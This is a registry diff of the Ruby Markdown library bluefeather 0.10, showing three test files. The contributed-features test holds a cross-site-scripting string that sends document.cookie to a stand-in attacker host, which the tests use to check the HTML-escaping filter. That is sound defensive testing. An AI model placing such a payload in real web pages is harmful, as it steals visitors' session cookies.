bluefeather 0.10

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (46) hide show
  1. data/Rakefile.rb +168 -0
  2. data/bin/bluefeather +4 -0
  3. data/doc/author-and-license.bfdoc +16 -0
  4. data/doc/base.css +135 -0
  5. data/doc/basic-usage.bfdoc +265 -0
  6. data/doc/black.css +130 -0
  7. data/doc/class-reference.bfdoc +105 -0
  8. data/doc/difference.bfdoc +63 -0
  9. data/doc/en/author-and-license.bfdoc +20 -0
  10. data/doc/en/base.css +136 -0
  11. data/doc/en/basic-usage.bfdoc +266 -0
  12. data/doc/en/black.css +130 -0
  13. data/doc/en/class-reference.bfdoc +6 -0
  14. data/doc/en/difference.bfdoc +72 -0
  15. data/doc/en/format-extension.bfdoc +324 -0
  16. data/doc/en/index.bfdoc +41 -0
  17. data/doc/en/metadata-reference.bfdoc +7 -0
  18. data/doc/format-extension.bfdoc +325 -0
  19. data/doc/index.bfdoc +36 -0
  20. data/doc/metadata-reference.bfdoc +86 -0
  21. data/lib/bluefeather.rb +1872 -0
  22. data/lib/bluefeather/cui.rb +207 -0
  23. data/license/gpl-2.0.txt +339 -0
  24. data/license/gpl.ja.txt +416 -0
  25. data/original-tests/00_Class.tests.rb +42 -0
  26. data/original-tests/05_Markdown.tests.rb +1530 -0
  27. data/original-tests/10_Bug.tests.rb +44 -0
  28. data/original-tests/15_Contrib.tests.rb +130 -0
  29. data/original-tests/bftestcase.rb +278 -0
  30. data/original-tests/data/antsugar.txt +34 -0
  31. data/original-tests/data/ml-announce.txt +17 -0
  32. data/original-tests/data/re-overflow.txt +67 -0
  33. data/original-tests/data/re-overflow2.txt +281 -0
  34. data/readme_en.txt +37 -0
  35. data/readme_ja.txt +33 -0
  36. data/spec/auto-link.rb +100 -0
  37. data/spec/code-block.rb +91 -0
  38. data/spec/dl.rb +182 -0
  39. data/spec/escape-char.rb +18 -0
  40. data/spec/footnote.rb +34 -0
  41. data/spec/header-id.rb +38 -0
  42. data/spec/lib/common.rb +103 -0
  43. data/spec/table.rb +70 -0
  44. data/spec/toc.rb +64 -0
  45. data/spec/warning.rb +61 -0
  46. metadata +99 -0
@@ -0,0 +1,44 @@
1
+ #!/usr/bin/ruby
2
+ #
3
+ # Unit test for bugs found in BlueFeather
4
+ # $Id: 10_Bug.tests.rb 68 2004-08-25 05:14:37Z ged $
5
+ #
6
+ # Copyright (c) 2004 The FaerieMUD Consortium, 2009 Dice.
7
+ #
8
+ # Changes: [2009-02-14] adapt to BlueFeather
9
+
10
+ if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase )
11
+ basedir = File::dirname( __FILE__ )
12
+ require File::join( basedir, 'bftestcase' )
13
+ end
14
+
15
+
16
+ require 'timeout'
17
+
18
+ ### This test case tests ...
19
+ class BugsTestCase < BlueFeather::TestCase
20
+ BaseDir = File::dirname( File::dirname(File::expand_path( __FILE__ )) )
21
+
22
+ ### :TODO: Add more documents and test their transforms.
23
+
24
+ def test_10_regexp_engine_overflow_bug
25
+ contents = File::read( File::join(BaseDir,"original-tests/data/re-overflow.txt") )
26
+
27
+ assert_nothing_raised {
28
+ BlueFeather.parse( contents )
29
+ }
30
+ end
31
+
32
+ def test_15_regexp_engine_overflow_bug2
33
+ contents = File::read( File::join(BaseDir,"original-tests/data/re-overflow2.txt") )
34
+
35
+ assert_nothing_raised {
36
+ BlueFeather.parse( contents )
37
+ }
38
+ end
39
+
40
+ end
41
+
42
+
43
+ __END__
44
+
@@ -0,0 +1,130 @@
1
+ #!/usr/bin/ruby
2
+ #
3
+ # Unit test for contributed features
4
+ # $Id: TEMPLATE.rb.tpl,v 1.2 2003/09/11 04:59:51 deveiant Exp $
5
+ #
6
+ # Copyright (c) 2004 The FaerieMUD Consortium.
7
+ #
8
+ # Copyright (c) 2004 The FaerieMUD Consortium, 2009 Dice.
9
+ #
10
+ # Changes: [2009-02-14] adapt to BlueFeather
11
+
12
+ if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase )
13
+ basedir = File::dirname( __FILE__ )
14
+ require File::join( basedir, 'bftestcase' )
15
+ end
16
+
17
+
18
+
19
+ ### This test case tests ...
20
+ class ContribTestCase < BlueFeather::TestCase
21
+
22
+ DangerousHtml =
23
+ "<script>document.location='http://www.hacktehplanet.com" +
24
+ "/cgi-bin/cookie.cgi?' + document.cookie</script>"
25
+ DangerousHtmlOutput =
26
+ "<p>&lt;script&gt;document.location='http://www.hacktehplanet.com" +
27
+ "/cgi-bin/cookie.cgi?' + document.cookie&lt;/script&gt;</p>"
28
+ DangerousStylesOutput =
29
+ "<script>document.location='http://www.hacktehplanet.com" +
30
+ "/cgi-bin/cookie.cgi?' + document.cookie</script>"
31
+ NoLessThanHtml = "Foo is definitely > than bar"
32
+ NoLessThanOutput = "<p>Foo is definitely &gt; than bar</p>"
33
+
34
+
35
+ ### HTML filter options contributed by Florian Gross.
36
+
37
+ ### Test the :filter_html restriction
38
+ def test_10_filter_html
39
+ printTestHeader "filter_html Option"
40
+ rval = bf = nil
41
+
42
+ # Test as a 1st-level param
43
+ assert_nothing_raised {
44
+ bf = BlueFeather::Parser.new(:filter_html)
45
+ }
46
+
47
+ # Accessors
48
+ assert_nothing_raised { rval = bf.filter_html }
49
+ assert_equal true, rval
50
+ assert_nothing_raised { rval = bf.filter_styles }
51
+ assert_equal nil, rval
52
+
53
+ # Test rendering with filters on
54
+ assert_nothing_raised { rval = bf.parse(DangerousHtml) }
55
+ assert_equal DangerousHtmlOutput, rval
56
+
57
+ # Test setting it in a sub-array
58
+ assert_nothing_raised {
59
+ bf = BlueFeather::Parser.new( [:filter_html] )
60
+ }
61
+
62
+ # Accessors
63
+ assert_nothing_raised { rval = bf.filter_html }
64
+ assert_equal true, rval
65
+ assert_nothing_raised { rval = bf.filter_styles }
66
+ assert_equal nil, rval
67
+
68
+ # Test rendering with filters on
69
+ assert_nothing_raised { rval = bf.parse(DangerousHtml) }
70
+ assert_equal DangerousHtmlOutput, rval
71
+ end
72
+
73
+
74
+ ### Test the :filter_styles restriction
75
+ def test_20_filter_styles
76
+ printTestHeader "filter_styles Option"
77
+ rval = bf = nil
78
+
79
+ # Test as a 1st-level param
80
+ assert_nothing_raised {
81
+ bf = BlueFeather::Parser.new(:filter_styles )
82
+ }
83
+
84
+ # Accessors
85
+ assert_nothing_raised { rval = bf.filter_styles }
86
+ assert_equal true, rval
87
+ assert_nothing_raised { rval = bf.filter_html }
88
+ assert_equal nil, rval
89
+
90
+ # Test rendering with filters on
91
+ assert_nothing_raised { rval = bf.parse(DangerousHtml) }
92
+ assert_equal DangerousStylesOutput, rval
93
+
94
+ # Test setting it in a subarray
95
+ assert_nothing_raised {
96
+ bf = BlueFeather::Parser.new([:filter_styles] )
97
+ }
98
+
99
+ # Accessors
100
+ assert_nothing_raised { rval = bf.filter_styles }
101
+ assert_equal true, rval
102
+ assert_nothing_raised { rval = bf.filter_html }
103
+ assert_equal nil, rval
104
+
105
+ # Test rendering with filters on
106
+ assert_nothing_raised { rval = bf.parse(DangerousHtml) }
107
+ assert_equal DangerousStylesOutput, rval
108
+
109
+ end
110
+
111
+
112
+ ### Test to be sure filtering when there's no opening angle brackets doesn't
113
+ ### die.
114
+ def test_30_filter_no_less_than
115
+ printTestHeader "filter without a less-than"
116
+ rval = bf = nil
117
+
118
+ # Test as a 1st-level param
119
+ assert_nothing_raised {
120
+ bf = BlueFeather::Parser.new( :filter_html )
121
+ }
122
+
123
+ assert_nothing_raised { rval = bf.parse(NoLessThanHtml) }
124
+ assert_equal NoLessThanOutput, rval
125
+ end
126
+
127
+
128
+
129
+ end
130
+
@@ -0,0 +1,278 @@
1
+ #!/usr/bin/ruby
2
+ #
3
+ # This is an abstract test case class for building Test::Unit unit tests for the
4
+ # BlueFeather module. It consolidates most of the maintenance work that must be
5
+ # done to build a test file by adjusting the $LOAD_PATH appropriately, as well
6
+ # as adding some other useful methods that make building, maintaining, and using
7
+ # the tests for programming much easier (IMHO). See the docs for Test::Unit for
8
+ # more info on the particulars of unit testing.
9
+ #
10
+ # == Synopsis
11
+ #
12
+ # # Allow the test to be run from anywhere:
13
+ # if !defined?( BlueFeather ) || !defined?( BlueFeather::TestCase )
14
+ # basedir = File::dirname( __FILE__ )
15
+ # require File::join( basedir, 'bftestcase' )
16
+ # end
17
+ #
18
+ # class MySomethingTest < BlueFeather::TestCase
19
+ # def setup
20
+ # super()
21
+ # @foo = 'bar'
22
+ # end
23
+ #
24
+ # def test_00_something
25
+ # obj = nil
26
+ # assert_nothing_raised { obj = MySomething::new }
27
+ # assert_instance_of MySomething, obj
28
+ # assert_respond_to :myMethod, obj
29
+ # end
30
+ #
31
+ # end
32
+ #
33
+ # == Rcsid
34
+ #
35
+ # $Id: lingtestcase.rb,v 1.3 2003/09/11 05:00:56 deveiant Exp $
36
+ #
37
+ # == Authors of original BlueFeather
38
+ #
39
+ # * Michael Granger <ged@FaerieMUD.org>
40
+ #
41
+ # == Remakers
42
+ #
43
+ # * Dice <tetradice.1011@gmail.com> (BlueFeather => BlueFeather)
44
+ #
45
+ #:include: COPYRIGHT
46
+ #
47
+ #---
48
+ #
49
+ # Please see the file COPYRIGHT in the 'docs' directory for licensing details.
50
+ #
51
+
52
+ $DebugPattern ||= nil
53
+
54
+ begin
55
+ basedir = File::dirname( File::dirname(__FILE__) )
56
+ unless $LOAD_PATH.include?( "#{basedir}/lib" )
57
+ $LOAD_PATH.unshift "#{basedir}/lib"
58
+ end
59
+ end
60
+
61
+ require "test/unit"
62
+ require "bluefeather"
63
+
64
+
65
+ module BlueFeather
66
+
67
+ ### The abstract base class for BlueFeather test cases.
68
+ class TestCase < Test::Unit::TestCase
69
+
70
+ @methodCounter = 0
71
+ @setupBlocks = []
72
+ @teardownBlocks = []
73
+ class << self
74
+ attr_accessor :methodCounter, :setupBlocks, :teardownBlocks
75
+ end
76
+
77
+
78
+ ### Inheritance callback -- adds @setupBlocks and @teardownBlocks ivars
79
+ ### and accessors to the inheriting class.
80
+ def self::inherited( klass )
81
+ klass.module_eval {
82
+ @setupBlocks = []
83
+ @teardownBlocks = []
84
+
85
+ class << self
86
+ attr_accessor :setupBlocks, :teardownBlocks
87
+ end
88
+ }
89
+ klass.methodCounter = 0
90
+ end
91
+
92
+
93
+
94
+ ### Output the specified <tt>msgs</tt> joined together to
95
+ ### <tt>STDERR</tt> if <tt>$DEBUG</tt> is set.
96
+ def self::debugMsg( *msgs )
97
+ return unless $DEBUG
98
+ self.message "DEBUG>>> %s" % msgs.join('')
99
+ end
100
+
101
+ ### Output the specified <tt>msgs</tt> joined together to
102
+ ### <tt>STDOUT</tt>.
103
+ def self::message( *msgs )
104
+ $stderr.puts msgs.join('')
105
+ $stderr.flush
106
+ end
107
+
108
+
109
+ ### Add a setup block for the current testcase
110
+ def self::addSetupBlock( &block )
111
+ self.methodCounter += 1
112
+ newMethodName = "setup_#{self.methodCounter}".intern
113
+ define_method( newMethodName, &block )
114
+ self.setupBlocks.push newMethodName
115
+ end
116
+
117
+ ### Add a teardown block for the current testcase
118
+ def self::addTeardownBlock( &block )
119
+ self.methodCounter += 1
120
+ newMethodName = "teardown_#{self.methodCounter}".intern
121
+ define_method( newMethodName, &block )
122
+ self.teardownBlocks.unshift newMethodName
123
+ end
124
+
125
+
126
+ #############################################################
127
+ ### I N S T A N C E M E T H O D S
128
+ #############################################################
129
+
130
+ ### A dummy test method to allow this Test::Unit::TestCase to be
131
+ ### subclassed without complaining about the lack of tests.
132
+ def test_0_dummy
133
+ end
134
+
135
+
136
+ ### Forward-compatibility method for namechange in Test::Unit
137
+ def setup( *args )
138
+ self.class.setupBlocks.each {|sblock|
139
+ debugMsg "Calling setup block method #{sblock}"
140
+ self.send( sblock )
141
+ }
142
+ super( *args )
143
+ end
144
+ alias_method :set_up, :setup
145
+
146
+
147
+ ### Forward-compatibility method for namechange in Test::Unit
148
+ def teardown( *args )
149
+ super( *args )
150
+ self.class.teardownBlocks.each {|tblock|
151
+ debugMsg "Calling teardown block method #{tblock}"
152
+ self.send( tblock )
153
+ }
154
+ end
155
+ alias_method :tear_down, :teardown
156
+
157
+
158
+ ### Skip the current step (called from #setup) with the +reason+ given.
159
+ def skip( reason=nil )
160
+ if reason
161
+ msg = "Skipping %s: %s" % [ @method_name, reason ]
162
+ else
163
+ msg = "Skipping %s: No reason given." % @method_name
164
+ end
165
+
166
+ $stderr.puts( msg ) if $VERBOSE
167
+ @method_name = :skipped_test
168
+ end
169
+
170
+
171
+ def skipped_test # :nodoc:
172
+ end
173
+
174
+
175
+ ### Add the specified +block+ to the code that gets executed by #setup.
176
+ def addSetupBlock( &block ); self.class.addSetupBlock( &block ); end
177
+
178
+
179
+ ### Add the specified +block+ to the code that gets executed by #teardown.
180
+ def addTeardownBlock( &block ); self.class.addTeardownBlock( &block ); end
181
+
182
+
183
+ ### Instance alias for the like-named class method.
184
+ def message( *msgs )
185
+ self.class.message( *msgs )
186
+ end
187
+
188
+
189
+ ### Instance alias for the like-named class method
190
+ def debugMsg( *msgs )
191
+ self.class.debugMsg( *msgs )
192
+ end
193
+
194
+
195
+ ### Output a separator line made up of <tt>length</tt> of the specified
196
+ ### <tt>char</tt>.
197
+ def writeLine( length=75, char="-" )
198
+ $stderr.puts "\r" + (char * length )
199
+ end
200
+
201
+
202
+ ### Output a header for delimiting tests
203
+ def printTestHeader( desc )
204
+ return unless $VERBOSE || $DEBUG
205
+ message ">>> %s <<<" % desc
206
+ end
207
+
208
+
209
+ ### Try to force garbage collection to start.
210
+ def collectGarbage
211
+ a = []
212
+ 1000.times { a << {} }
213
+ a = nil
214
+ GC.start
215
+ end
216
+
217
+
218
+ ### Output the name of the test as it's running if in verbose mode.
219
+ def run( result )
220
+ $stderr.puts self.name if $VERBOSE || $DEBUG
221
+
222
+ # Support debugging for individual tests
223
+ olddb = nil
224
+ if $DebugPattern && $DebugPattern =~ @method_name
225
+ olddb = $DEBUG
226
+ $DEBUG = true
227
+ end
228
+
229
+ super
230
+
231
+ $DEBUG = olddb unless olddb.nil?
232
+ end
233
+
234
+
235
+ #############################################################
236
+ ### E X T R A A S S E R T I O N S
237
+ #############################################################
238
+
239
+ ### Negative of assert_respond_to
240
+ def assert_not_respond_to( obj, meth )
241
+ msg = "%s expected NOT to respond to '%s'" %
242
+ [ obj.inspect, meth ]
243
+ assert_block( msg ) {
244
+ !obj.respond_to?( meth )
245
+ }
246
+ end
247
+
248
+
249
+ ### Assert that the instance variable specified by +sym+ of an +object+
250
+ ### is equal to the specified +value+. The '@' at the beginning of the
251
+ ### +sym+ will be prepended if not present.
252
+ def assert_ivar_equal( value, object, sym )
253
+ sym = "@#{sym}".intern unless /^@/ =~ sym.to_s
254
+ msg = "Instance variable '%s'\n\tof <%s>\n\texpected to be <%s>\n" %
255
+ [ sym, object.inspect, value.inspect ]
256
+ msg += "\tbut was: <%s>" % object.instance_variable_get(sym)
257
+ assert_block( msg ) {
258
+ value == object.instance_variable_get(sym)
259
+ }
260
+ end
261
+
262
+
263
+ ### Assert that the specified +object+ has an instance variable which
264
+ ### matches the specified +sym+. The '@' at the beginning of the +sym+
265
+ ### will be prepended if not present.
266
+ def assert_has_ivar( sym, object )
267
+ sym = "@#{sym}" unless /^@/ =~ sym.to_s
268
+ msg = "Object <%s> expected to have an instance variable <%s>" %
269
+ [ object.inspect, sym ]
270
+ assert_block( msg ) {
271
+ object.instance_variables.include?( sym.to_s )
272
+ }
273
+ end
274
+
275
+ end # class TestCase
276
+
277
+ end # class BlueFeather
278
+